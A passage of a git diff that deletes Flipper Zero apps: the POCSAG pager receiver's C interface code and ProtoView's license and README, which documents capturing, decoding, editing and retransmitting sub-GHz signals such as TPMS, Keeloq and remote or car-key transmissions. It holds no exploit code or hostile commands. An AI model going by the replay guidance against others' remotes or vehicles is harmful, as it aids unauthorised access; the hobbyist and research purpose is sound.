PCSGReceiver* pcsg_receiver, - PCSGReceiverCallback callback, - void* context) { - furi_assert(pcsg_receiver); - furi_assert(callback); - pcsg_receiver->callback = callback; - pcsg_receiver->context = context; -} - -static void pcsg_view_receiver_update_offset(PCSGReceiver* pcsg_receiver) { - furi_assert(pcsg_receiver); - - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - size_t history_item = model->history_item; - uint16_t bounds = history_item > 3 ? 2 : history_item; - - if(history_item > 3 && model->idx >= (int16_t)(history_item - 1)) { - model->list_offset = model->idx - 3; - } else if(model->list_offset < model->idx - bounds) { - model->list_offset = - CLAMP(model->list_offset + 1, (int16_t)(history_item - bounds), 0); - } else if(model->list_offset > model->idx - bounds) { - model->list_offset = CLAMP(model->idx - 1, (int16_t)(history_item - bounds), 0); - } - }, - true); -} - -void pcsg_view_receiver_add_item_to_menu( - PCSGReceiver* pcsg_receiver, - const char* name, - uint8_t type) { - furi_assert(pcsg_receiver); - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - PCSGReceiverMenuItem* item_menu = - PCSGReceiverMenuItemArray_push_raw(model->history->data); - item_menu->item_str = furi_string_alloc_set(name); - item_menu->type = type; - if((model->idx == model->history_item - 1)) { - model->history_item++; - model->idx++; - } else { - model->history_item++; - } - }, - true); - pcsg_view_receiver_update_offset(pcsg_receiver); -} - -void pcsg_view_receiver_add_data_statusbar( - PCSGReceiver* pcsg_receiver, - const char* frequency_str, - const char* preset_str, - const char* history_stat_str) { - furi_assert(pcsg_receiver); - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - furi_string_set_str(model->frequency_str, frequency_str); - furi_string_set_str(model->preset_str, preset_str); - furi_string_set_str(model->history_stat_str, history_stat_str); - }, - true); -} - -static void pcsg_view_receiver_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0 + idx * FRAME_HEIGHT, scrollbar ? 122 : 127, FRAME_HEIGHT); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 1, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 0, (0 + idx * FRAME_HEIGHT) + 1); - - canvas_draw_dot(canvas, 0, (0 + idx * FRAME_HEIGHT) + 11); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, 0 + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, (0 + idx * FRAME_HEIGHT) + 11); -} - -static void pcsg_view_rssi_draw(Canvas* canvas, PCSGReceiverModel* model) { - for(uint8_t i = 1; i < model->u_rssi; i++) { - if(i % 5) { - canvas_draw_dot(canvas, 46 + i, 50); - canvas_draw_dot(canvas, 47 + i, 51); - canvas_draw_dot(canvas, 46 + i, 52); - } - } -} - -void pcsg_view_receiver_draw(Canvas* canvas, PCSGReceiverModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - - elements_button_left(canvas, "Config"); - //canvas_draw_line(canvas, 46, 51, 125, 51); - - bool scrollbar = model->history_item > 4; - FuriString* str_buff; - str_buff = furi_string_alloc(); - - PCSGReceiverMenuItem* item_menu; - - for(size_t i = 0; i < MIN(model->history_item, MENU_ITEMS); ++i) { - size_t idx = CLAMP((uint16_t)(i + model->list_offset), model->history_item, 0); - item_menu = PCSGReceiverMenuItemArray_get(model->history->data, idx); - furi_string_set(str_buff, item_menu->item_str); - furi_string_replace_all(str_buff, "#", ""); - elements_string_fit_width(canvas, str_buff, scrollbar ? MAX_LEN_PX - 7 : MAX_LEN_PX); - if(model->idx == idx) { - pcsg_view_receiver_draw_frame(canvas, i, scrollbar); - } else { - canvas_set_color(canvas, ColorBlack); - } - canvas_draw_icon(canvas, 4, 2 + i * FRAME_HEIGHT, ReceiverItemIcons[item_menu->type]); - canvas_draw_str(canvas, 15, 9 + i * FRAME_HEIGHT, furi_string_get_cstr(str_buff)); - furi_string_reset(str_buff); - } - if(scrollbar) { - elements_scrollbar_pos(canvas, 128, 0, 49, model->idx, model->history_item); - } - furi_string_free(str_buff); - - canvas_set_color(canvas, ColorBlack); - - if(model->history_item == 0) { - canvas_draw_icon(canvas, 0, 0, model->ext_module ? &I_Fishing_123x52 : &I_Scanning_123x52); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 63, 46, "Scanning..."); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 44, 10, model->ext_module ? "Ext" : "Int"); - } - - // Draw RSSI - pcsg_view_rssi_draw(canvas, model); - - switch(model->bar_show) { - case PCSGReceiverBarShowLock: - canvas_draw_icon(canvas, 64, 55, &I_Lock_7x8); - canvas_draw_str(canvas, 74, 62, "Locked"); - break; - case PCSGReceiverBarShowToUnlockPress: - canvas_draw_str(canvas, 44, 62, furi_string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 79, 62, furi_string_get_cstr(model->preset_str)); - canvas_draw_str(canvas, 96, 62, furi_string_get_cstr(model->history_stat_str)); - canvas_set_font(canvas, FontSecondary); - elements_bold_rounded_frame(canvas, 14, 8, 99, 48); - elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); - canvas_draw_dot(canvas, 17, 61); - break; - case PCSGReceiverBarShowUnlock: - canvas_draw_icon(canvas, 64, 55, &I_Unlock_7x8); - canvas_draw_str(canvas, 74, 62, "Unlocked"); - break; - default: - canvas_draw_str(canvas, 44, 62, furi_string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 79, 62, furi_string_get_cstr(model->preset_str)); - canvas_draw_str(canvas, 96, 62, furi_string_get_cstr(model->history_stat_str)); - break; - } -} - -static void pcsg_view_receiver_timer_callback(void* context) { - furi_assert(context); - PCSGReceiver* pcsg_receiver = context; - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { model->bar_show = PCSGReceiverBarShowDefault; }, - true); - if(pcsg_receiver->lock_count < UNLOCK_CNT) { - pcsg_receiver->callback(PCSGCustomEventViewReceiverOffDisplay, pcsg_receiver->context); - } else { - pcsg_receiver->lock = PCSGLockOff; - pcsg_receiver->callback(PCSGCustomEventViewReceiverUnlock, pcsg_receiver->context); - } - pcsg_receiver->lock_count = 0; -} - -bool pcsg_view_receiver_input(InputEvent* event, void* context) { - furi_assert(context); - PCSGReceiver* pcsg_receiver = context; - - if(pcsg_receiver->lock == PCSGLockOn) { - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { model->bar_show = PCSGReceiverBarShowToUnlockPress; }, - true); - if(pcsg_receiver->lock_count == 0) { - furi_timer_start(pcsg_receiver->timer, pdMS_TO_TICKS(1000)); - } - if(event->key == InputKeyBack && event->type == InputTypeShort) { - pcsg_receiver->lock_count++; - } - if(pcsg_receiver->lock_count >= UNLOCK_CNT) { - pcsg_receiver->callback(PCSGCustomEventViewReceiverUnlock, pcsg_receiver->context); - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { model->bar_show = PCSGReceiverBarShowUnlock; }, - true); - pcsg_receiver->lock = PCSGLockOff; - furi_timer_start(pcsg_receiver->timer, pdMS_TO_TICKS(650)); - } - - return true; - } - - if(event->key == InputKeyBack && event->type == InputTypeShort) { - pcsg_receiver->callback(PCSGCustomEventViewReceiverBack, pcsg_receiver->context); - } else if( - event->key == InputKeyUp && - (event->type == InputTypeShort || event->type == InputTypeRepeat)) { - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - if(model->idx != 0) model->idx--; - }, - true); - } else if( - event->key == InputKeyDown && - (event->type == InputTypeShort || event->type == InputTypeRepeat)) { - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - if(model->history_item && model->idx != model->history_item - 1) model->idx++; - }, - true); - } else if(event->key == InputKeyLeft && event->type == InputTypeShort) { - pcsg_receiver->callback(PCSGCustomEventViewReceiverConfig, pcsg_receiver->context); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - if(model->history_item != 0) { - pcsg_receiver->callback(PCSGCustomEventViewReceiverOK, pcsg_receiver->context); - } - }, - false); - } - - pcsg_view_receiver_update_offset(pcsg_receiver); - - return true; -} - -void pcsg_view_receiver_enter(void* context) { - furi_assert(context); -} - -void pcsg_view_receiver_exit(void* context) { - furi_assert(context); - PCSGReceiver* pcsg_receiver = context; - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - furi_string_reset(model->frequency_str); - furi_string_reset(model->preset_str); - furi_string_reset(model->history_stat_str); - for - M_EACH(item_menu, model->history->data, PCSGReceiverMenuItemArray_t) { - furi_string_free(item_menu->item_str); - item_menu->type = 0; - } - PCSGReceiverMenuItemArray_reset(model->history->data); - model->idx = 0; - model->list_offset = 0; - model->history_item = 0; - }, - false); - furi_timer_stop(pcsg_receiver->timer); -} - -PCSGReceiver* pcsg_view_receiver_alloc() { - PCSGReceiver* pcsg_receiver = malloc(sizeof(PCSGReceiver)); - - // View allocation and configuration - pcsg_receiver->view = view_alloc(); - - pcsg_receiver->lock = PCSGLockOff; - pcsg_receiver->lock_count = 0; - view_allocate_model(pcsg_receiver->view, ViewModelTypeLocking, sizeof(PCSGReceiverModel)); - view_set_context(pcsg_receiver->view, pcsg_receiver); - view_set_draw_callback(pcsg_receiver->view, (ViewDrawCallback)pcsg_view_receiver_draw); - view_set_input_callback(pcsg_receiver->view, pcsg_view_receiver_input); - view_set_enter_callback(pcsg_receiver->view, pcsg_view_receiver_enter); - view_set_exit_callback(pcsg_receiver->view, pcsg_view_receiver_exit); - - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - model->frequency_str = furi_string_alloc(); - model->preset_str = furi_string_alloc(); - model->history_stat_str = furi_string_alloc(); - model->bar_show = PCSGReceiverBarShowDefault; - model->history = malloc(sizeof(PCSGReceiverHistory)); - PCSGReceiverMenuItemArray_init(model->history->data); - }, - true); - pcsg_receiver->timer = - furi_timer_alloc(pcsg_view_receiver_timer_callback, FuriTimerTypeOnce, pcsg_receiver); - return pcsg_receiver; -} - -void pcsg_view_receiver_free(PCSGReceiver* pcsg_receiver) { - furi_assert(pcsg_receiver); - - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - furi_string_free(model->frequency_str); - furi_string_free(model->preset_str); - furi_string_free(model->history_stat_str); - for - M_EACH(item_menu, model->history->data, PCSGReceiverMenuItemArray_t) { - furi_string_free(item_menu->item_str); - item_menu->type = 0; - } - PCSGReceiverMenuItemArray_clear(model->history->data); - free(model->history); - }, - false); - furi_timer_free(pcsg_receiver->timer); - view_free(pcsg_receiver->view); - free(pcsg_receiver); -} - -View* pcsg_view_receiver_get_view(PCSGReceiver* pcsg_receiver) { - furi_assert(pcsg_receiver); - return pcsg_receiver->view; -} - -uint16_t pcsg_view_receiver_get_idx_menu(PCSGReceiver* pcsg_receiver) { - furi_assert(pcsg_receiver); - uint32_t idx = 0; - with_view_model( - pcsg_receiver->view, PCSGReceiverModel * model, { idx = model->idx; }, false); - return idx; -} - -void pcsg_view_receiver_set_idx_menu(PCSGReceiver* pcsg_receiver, uint16_t idx) { - furi_assert(pcsg_receiver); - with_view_model( - pcsg_receiver->view, - PCSGReceiverModel * model, - { - model->idx = idx; - if(model->idx > 2) model->list_offset = idx - 2; - }, - true); - pcsg_view_receiver_update_offset(pcsg_receiver); -} diff --git a/applications/external/pocsag_pager/views/pocsag_pager_receiver.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver.h deleted file mode 100644 index 87900748f..000000000 --- a/applications/external/pocsag_pager/views/pocsag_pager_receiver.h +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once - -#include -#include "../helpers/pocsag_pager_types.h" -#include "../helpers/pocsag_pager_event.h" - -typedef struct PCSGReceiver PCSGReceiver; - -typedef void (*PCSGReceiverCallback)(PCSGCustomEvent event, void* context); - -void pcsg_receiver_rssi(PCSGReceiver* instance, float rssi); - -void pcsg_view_receiver_set_lock(PCSGReceiver* pcsg_receiver, PCSGLock keyboard); - -void pcsg_view_receiver_set_ext_module_state(PCSGReceiver* pcsg_receiver, bool is_external); - -void pcsg_view_receiver_set_callback( - PCSGReceiver* pcsg_receiver, - PCSGReceiverCallback callback, - void* context); - -PCSGReceiver* pcsg_view_receiver_alloc(); - -void pcsg_view_receiver_free(PCSGReceiver* pcsg_receiver); - -View* pcsg_view_receiver_get_view(PCSGReceiver* pcsg_receiver); - -void pcsg_view_receiver_add_data_statusbar( - PCSGReceiver* pcsg_receiver, - const char* frequency_str, - const char* preset_str, - const char* history_stat_str); - -void pcsg_view_receiver_add_item_to_menu( - PCSGReceiver* pcsg_receiver, - const char* name, - uint8_t type); - -uint16_t pcsg_view_receiver_get_idx_menu(PCSGReceiver* pcsg_receiver); - -void pcsg_view_receiver_set_idx_menu(PCSGReceiver* pcsg_receiver, uint16_t idx); - -void pcsg_view_receiver_exit(void* context); diff --git a/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c deleted file mode 100644 index 4811f3902..000000000 --- a/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "pocsag_pager_receiver.h" -#include "../pocsag_pager_app_i.h" -#include "pocsag_pager_icons.h" -#include "../protocols/pcsg_generic.h" -#include -#include - -#define abs(x) ((x) > 0 ? (x) : -(x)) - -struct PCSGReceiverInfo { - View* view; -}; - -typedef struct { - FuriString* protocol_name; - PCSGBlockGeneric* generic; -} PCSGReceiverInfoModel; - -void pcsg_view_receiver_info_update(PCSGReceiverInfo* pcsg_receiver_info, FlipperFormat* fff) { - furi_assert(pcsg_receiver_info); - furi_assert(fff); - - with_view_model( - pcsg_receiver_info->view, - PCSGReceiverInfoModel * model, - { - flipper_format_rewind(fff); - flipper_format_read_string(fff, "Protocol", model->protocol_name); - - pcsg_block_generic_deserialize(model->generic, fff); - }, - true); -} - -void pcsg_view_receiver_info_draw(Canvas* canvas, PCSGReceiverInfoModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - if(model->generic->result_ric != NULL) { - elements_text_box( - canvas, - 0, - 0, - 128, - 64, - AlignLeft, - AlignTop, - furi_string_get_cstr(model->generic->result_ric), - false); - } - if(model->generic->result_msg != NULL) { - elements_text_box( - canvas, - 0, - 12, - 128, - 64, - AlignLeft, - AlignTop, - furi_string_get_cstr(model->generic->result_msg), - false); - } -} - -bool pcsg_view_receiver_info_input(InputEvent* event, void* context) { - furi_assert(context); - //PCSGReceiverInfo* pcsg_receiver_info = context; - - if(event->key == InputKeyBack) { - return false; - } - - return true; -} - -void pcsg_view_receiver_info_enter(void* context) { - furi_assert(context); -} - -void pcsg_view_receiver_info_exit(void* context) { - furi_assert(context); - PCSGReceiverInfo* pcsg_receiver_info = context; - - with_view_model( - pcsg_receiver_info->view, - PCSGReceiverInfoModel * model, - { furi_string_reset(model->protocol_name); }, - false); -} - -PCSGReceiverInfo* pcsg_view_receiver_info_alloc() { - PCSGReceiverInfo* pcsg_receiver_info = malloc(sizeof(PCSGReceiverInfo)); - - // View allocation and configuration - pcsg_receiver_info->view = view_alloc(); - - view_allocate_model( - pcsg_receiver_info->view, ViewModelTypeLocking, sizeof(PCSGReceiverInfoModel)); - view_set_context(pcsg_receiver_info->view, pcsg_receiver_info); - view_set_draw_callback( - pcsg_receiver_info->view, (ViewDrawCallback)pcsg_view_receiver_info_draw); - view_set_input_callback(pcsg_receiver_info->view, pcsg_view_receiver_info_input); - view_set_enter_callback(pcsg_receiver_info->view, pcsg_view_receiver_info_enter); - view_set_exit_callback(pcsg_receiver_info->view, pcsg_view_receiver_info_exit); - - with_view_model( - pcsg_receiver_info->view, - PCSGReceiverInfoModel * model, - { - model->generic = malloc(sizeof(PCSGBlockGeneric)); - model->protocol_name = furi_string_alloc(); - }, - true); - - return pcsg_receiver_info; -} - -void pcsg_view_receiver_info_free(PCSGReceiverInfo* pcsg_receiver_info) { - furi_assert(pcsg_receiver_info); - - with_view_model( - pcsg_receiver_info->view, - PCSGReceiverInfoModel * model, - { - furi_string_free(model->protocol_name); - free(model->generic); - }, - false); - - view_free(pcsg_receiver_info->view); - free(pcsg_receiver_info); -} - -View* pcsg_view_receiver_info_get_view(PCSGReceiverInfo* pcsg_receiver_info) { - furi_assert(pcsg_receiver_info); - return pcsg_receiver_info->view; -} diff --git a/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h deleted file mode 100644 index dfc85ec88..000000000 --- a/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include -#include "../helpers/pocsag_pager_types.h" -#include "../helpers/pocsag_pager_event.h" -#include - -typedef struct PCSGReceiverInfo PCSGReceiverInfo; - -void pcsg_view_receiver_info_update(PCSGReceiverInfo* pcsg_receiver_info, FlipperFormat* fff); - -PCSGReceiverInfo* pcsg_view_receiver_info_alloc(); - -void pcsg_view_receiver_info_free(PCSGReceiverInfo* pcsg_receiver_info); - -View* pcsg_view_receiver_info_get_view(PCSGReceiverInfo* pcsg_receiver_info); diff --git a/applications/external/protoview/LICENSE b/applications/external/protoview/LICENSE deleted file mode 100644 index 2d8a8a74d..000000000 --- a/applications/external/protoview/LICENSE +++ /dev/null @@ -1,24 +0,0 @@ -Copyright (c) 2022-2023 Salvatore Sanfilippo - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/applications/external/protoview/README.md b/applications/external/protoview/README.md deleted file mode 100644 index 7523913ca..000000000 --- a/applications/external/protoview/README.md +++ /dev/null @@ -1,289 +0,0 @@ -ProtoView is a digital signal detection, visualization, editing and reply tool for the [Flipper Zero](https://flipperzero.one/). The Flipper default application, called Subghz, is able to identify certain RF protocols, but when the exact protocol is not implemented (and there are many undocumented and unimplemented ones, such as the ones in use in TPMS systems, car keys and many others), the curious person is left wondering what the device is sending at all. Using ProtoView she or he can visualize the high and low pulses like in the example image below (showing a TPMS signal produced by a Renault tire): - -![ProtoView screenshot raw signal](/images/protoview_1.jpg) - -This is often enough to make an initial idea about the encoding used -and if the selected modulation is correct. For example, in the signal above -you can see a set of regular pulses and gaps used for synchronization, and then -a sequence of bits encoded in [Manchester](https://en.wikipedia.org/wiki/Manchester_code) line code. If you study these things for five minutes, you'll find yourself able to decode the bits with naked eyes. - -## Decoding capabilities - -Other than showing the raw signal, ProtoView is able to decode a few interesting protocols: - -* TPMS sensors: Renault, Toyota, Schrader, Citroen, Ford. -* Microchip HSC200/300/301 Keeloq protocol. -* Oregon thermometer protocol 2. -* PT2262, SC5262 based remotes. -* ... more will be implemented soon, hopefully. Send PRs :) - -![ProtoView screenshot Renault TPMS data](/images/protoview_2.jpg) - -The app implements a framework that makes adding and experimenting with new -protocols very simple. Check the `protocols` directory to see how the -API works, or read the full documentation at the end of this `README` file. -The gist of it is that the decoder receives the signal already converted into -a bitmap, where each bit represents a short pulse duration. Then there are -functions to seek specific sync/preamble sequences inside the bitmap, to decode -from different line codes, to compute checksums and so forth. - -## Signals transmission capabilities - -Once ProtoView decodes a given message, it is able to *resample* it -in pulses and gaps of the theoretical duration, and send the signal again -via the Flipper TX capabilities. The captured signal can be sent -to different frequencies and modulations than the ones it was captured -from. - -For selected protocols, that implement the message creation methods, -ProtoView is also able to edit the message received, modify fields, -and finally re-detect the new produced signal and resend it. Signals -can also be produced from scratch, by setting all the fields to appropriate -values. - -## A well-documented app for the Flipper - -The secondary goal of ProtoView is to provide a well-documented application for the Flipper (even if ProtoView is a pretty atypical application: it doesn't make use of the standard widgets and other abstractions provided by the framework). -Most apps dealing with the *subghz subsystem* of the Flipper (the abstraction used to work with the [CC1101 chip](https://www.ti.com/product/CC1101)) tend to be complicated and completely undocumented. -Unfortunately, this is also true for the firmware of the device. -It's a shame, because especially in the case of code that talks with hardware peripherals there are tons of assumptions and hard-gained lessons that can [only be captured by comments and are in the code only implicitly](http://antirez.com/news/124). - -However, the Flipper firmware source code is well written even if it -lacks comments and documentation (and sometimes makes use of abstractions more convoluted than needed), so it is possible to make some ideas of how things work just grepping inside. In order to develop this application, I ended reading most parts of the firmware of the device. - -## Detection algorithm - -In order to detect and show unknown signals, the application attempts to understand if the samples obtained by the Flipper API (a series of pulses that are high -or low, and with different duration in microseconds) look like belonging to -a legitimate signal, and aren't just noise. - -We can't make assumptions about -the encoding and the data rate of the communication, so we use a simple -but relatively effective algorithm. As we check the signal, we try to detect -long parts of it that are composed of pulses roughly classifiable into -a maximum of three different duration classes, plus or minus a given percentage. -Most encodings are somewhat self-clocked, so they tend to have just two or -three classes of pulse lengths. - -However, often, pulses of the same theoretical -length have slightly different lengths in the case of high and low level -(RF on or off), so the detector classifies them separately for robustness. - -Once the raw signal is detected, the registered protocol decoders are called -against it, in the hope some of the decoders will make sense of the signal. - -# Usage - -In the main screen, the application shows the longest coherent signal detected so far. The user can switch to other views pressing the LEFT and RIGHT keys. The BACK key will return back to the main screen. Long pressing BACK will quit the application. - -## Main raw signal screen - -* A long press of the OK button resets the current signal, in order to capture a new one. -* The UP and DOWN buttons change the scale. Default is 100us per pixel, but it will be adapted to the signal just captured. -* A long press of the LEFT and RIGHT keys will pan the signal, to see what was transmitted before/after the current shown range. -* A short press to OK will recenter the signal and set the scale back to the default for the specific pulse duration detected. - -Under the detected sequence, you will see a small triangle marking a -specific sample. This mark means that the sequence looked coherent up -to that point, and starting from there it could be just noise. However the -signal decoders will not get just up to this point, but will get more: -sometimes the low level detector can't make sense of a signal that the -protocol-specific decoder can understand fully. - -If the protocol is decoded, the bottom-left corner of the screen -will show the name of the protocol, and going in the next screen -with the right arrow will show information about the decoded signal. - -In the bottom-right corner the application displays an amount of time -in microseconds. This is the average length of the shortest pulse length -detected among the three classes. Usually the *data rate* of the protocol -is something like `1000000/this-number*2`, but it depends on the encoding -and could actually be `1000000/this-number*N` with `N > 2` (here 1000000 -is the number of microseconds in one second, and N is the number of clock -cycles needed to represent a bit). - -## Info screen - -If a signal was detected, the info view will show the details about the signal. If the signal has more data that a single screen can fit, pressing OK will show the next fields. Pressing DOWN will go to a sub-view with an oscilloscope-alike representation of the signal, from there you can: - -1. Resend the signal, by pressing OK. -2. Save the signal as `.sub` file, by long pressing OK. - -When resending, you can select a different frequency and modulation if you -wish. - -## Frequency and modulation screen - -In this view you can just set the frequency and modulation you want to use. -There are special modulations for TPMS signals: they need an higher data -rate. - -* Many cheap remotes (gate openers, remotes, ...) are on the 433.92Mhz or nearby and use OOK modulation. -* Weather stations are often too in the 433.92Mhz OOK. -* For car keys, try 433.92 OOK650 and 868.35 Mhz in OOK or 2FSK. -* For TPMS try 433.92 in TPMS1 or TPMS2 modulations (FSK and OOK custom modulations optimized for these signals, that have a relatively high data rate). - -## Signal creator - -In this view, you can do two things: - -1. Select one of the protocols supporting message creation, and create a signal from scratch. -2. If there is already a detected signal, you can modify the signal. - -This is how it works: - -1. Select one of the protocols (the one of the currently detected signal will be already provided as default, if any, and if it supports message creation). -2. Fill the fields. Use LEFT and RIGHT to change the values of integers, or just press OK and enter the new value with the Fliper keyboard widget. -3. When you are done, long press OK to build the message. Then press BACK in order to see it. -4. Go to the INFO view, and then DOWN to the signal sending/saving subview in order to send or save it. - -## Direct sampling screen - -This final screen shows in real time the high and low level that the Flipper -RF chip, the CC1101, is receiving. This will makes very easy to understand -if a given frequency is targeted by something other than noise. This mode is -fun to watch, resembling an old CRT TV set. - -# Installing the app from source - -* Download the Flipper Zero dev kit and build it: -``` -mkdir -p ~/flipperZero/official/ -cd ~/flipperZero/official/ -git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git ./ -./fbt -``` -* Copy this application folder in `official/applications_user`. -* Connect your Flipper via USB. -* Build and install with: `./fbt launch_app APPSRC=protoview`. - -# Installing the binary file (no build needed) - -Drop the `protoview.fap` file you can find in the `binaries` folder into the -following Flipper Zero location: - - /ext/apps/Tools - -The `ext` part means that we are in the SD card. So if you don't want -to use the Android (or other) application to upload the file, -you can just take out the SD card, insert it in your computer, -copy the fine into `apps/Tools`, and that's it. - -# Protocols decoders API - -Writing a protocol decoder is not hard, and requires to write three -different methods. - -1. `decode()`. This is mandatory, and is used in order to turn a known signal into a set of fields containing certain informations. For instance for a thermometer sending data via RF, a raw message will be decoded into fields like temperature, humidity, station ID and so forth. -2. `get_fields()`. Optional, only needed if the protocol supports creating and editing signals. This method just returns the fields names, types and defaults. The app will use this list in order to allow the user to set values. The populated fields will be passed to the `build_message()` method later. -3. `build_message()`. This method gets a set of fields representing the parameters of the protocol, as set by the user, and will create a low level signal composed of pulses and gaps of specific durations. - -## `decode()` method - - bool decode(uint8_t *bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo *info); - -The method gets a bitmap `bits` long `numbytes` bytes but actually containing `bumbits` valid bits. Each bit represents a pulse of gap of the duration of the shortest time detected in the protocol (this is often called *te*, in the RF protocols jargon). So, for instance, if a signal is composed of pulses and gaps of around 500 and 1000 microseconds, each bit in the bitmap will represent 500 microseconds. - -Continuing with the example above, if the received signal was composed of a 1000 microseconds gap, then a 500 microsecond pulse, then a 500 microsecond gap and finally a 1000 microseconds pulse, its bitmap representation will be: - - 001011 - -To access the bitmap, the decoder can use the following API: - - bool bitmap_get(uint8_t *b, uint32_t blen, uint32_t bitpos); - -The `blen` parameter will be set to what the decode method gets -as `numbytes`, and is used to prevent overflows. This way if `bitpos` -is out of range, nothing bad happens. - -There are function to match and seek specific patterns inside the signal: - - bool bitmap_match_bits(uint8_t *b, uint32_t blen, uint32_t bitpos, const char *bits); - uint32_t bitmap_seek_bits(uint8_t *b, uint32_t blen, uint32_t startpos, uint32_t maxbits, const char *bits); - -Finally, there are functions to convert from different line codes: - - uint32_t convert_from_line_code(uint8_t *buf, uint64_t buflen, uint8_t *bits, uint32_t len, uint32_t offset, const char *zero_pattern, const char *one_pattern); - uint32_t convert_from_diff_manchester(uint8_t *buf, uint64_t buflen, uint8_t *bits, uint32_t len, uint32_t off, bool previous); - -This method can also access the short pulse duration by inspecting the -`info->short_pulse_dur` field (in microseconds). - -Please check the `b4b1.c` file for an easy to understand example of the decoder implementation. - -If the decoder actually detected a message, it will return `true` and will return a set of fields, like thata: - - fieldset_add_bytes(info->fieldset,"id",d,5); - fieldset_add_uint(info->fieldset,"button",d[2]&0xf,4); - -## `get_fields()` method. - - static void get_fields(ProtoViewFieldSet *fieldset); - -This method will be basically a copy of the final part of `decode()`, as -it also needs to return the set of fields this protocol is composed of. -However instead of returning the values of an actual decoded message, it -will just provide their default values for the signal creator view. - -Note that the `build_message()` method is guaranteed to receive the -same exact fields in the same exact order. - -## `build_message()` method. - - void build_message(RawSamplesBuffer *samples, ProtoViewFieldSet *fs); - -This method is responsible of creating a signal from scratch, by -appending gaps and pulses of the specific duration into `samples` -using the following API: - - raw_samples_add(RawSamplesBuffer *samples, bool level, uint32_t duration); - -Level can be true (pules) or false (gap). Duration is in microseconds. -The method receives a set of fields in `fs`. Each field is accessible -directly accessing `fs->fields[... field index ...]`, where the field -index is 0, 1, 2, ... in the same order as `get_fields()` returned the -fields. - -For now, you can access the fields in the raw way, by getting the -values directly from the data structure representing each field: - -``` -typedef struct { - ProtoViewFieldType type; - uint32_t len; // Depends on type: - // Bits for integers (signed,unsigned,binary,hex). - // Number of characters for strings. - // Number of nibbles for bytes (1 for each 4 bits). - // Number of digits after dot for floats. - char *name; // Field name. - union { - char *str; // String type. - int64_t value; // Signed integer type. - uint64_t uvalue; // Unsigned integer type. - uint8_t *bytes; // Raw bytes type. - float fvalue; // Float type. - }; -} ProtoViewField; - -``` - -However later the app will likely provide a set of macros to do it -in a more future-proof way. - -# License - -The code is released under the BSD license. - -# Disclaimer - -This application is only provided as an educational tool. The author is not liable in case the application is used to reverse engineer protocols protected by IP or for any other illegal purpose. - -# Credits - -A big thank you to the RTL433 author, [Benjamin Larsson](https://github.com/merbanan). I used the code and tools he developed in many ways: -* To 